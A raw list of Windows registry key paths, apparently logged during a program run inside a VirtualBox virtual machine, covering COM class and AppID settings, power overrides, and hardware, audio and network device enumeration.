HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Elevation
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\PowerRequestOverride
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerRequestOverride\Driver
HKEY_LOCAL_MACHINE\Software\Microsoft\COM3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\REGDBVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20\Class
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerTopo
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerWave
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{684BB8B6-2793-49A5-8012-E0A941B4B4DF}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{5F6D61D9-D207-449A-BD48-652A5D1F25BE}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{29898C9D-B0A4-4FEF-BDB6-57A562022CEE}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{E43D242B-9EAB-4626-A952-46649FBB939A}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANBH
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANIP
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#NDISWANIPV6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{8E301A52-AFFA-4F49-B9CA-C79096A1A056}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{DF4A9D2C-8742-4EB1-8703-D395C4183F33}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{71F897D7-EB7C-4D8D-89DB-AC80D9DD2270}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Properties\{83da6326-97a6-4088-9453-a1923f573b29}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000006
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Pnp\{71d10298-bdb9-4dcd-a87a-eec6137ab254}\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{EEAB7790-C514-11D1-B42B-00805FC1270E}\ASYNCMAC
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ContainerID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Legacy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\#
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CompatibleIDs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\#\Control
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\#\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\Properties
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceHandlers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PerHwIdStorage\LastUpdateTime
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CustomPropertyCacheDate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{78032B7E-4968-42D3-9F37-287EA86C0AAA}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}
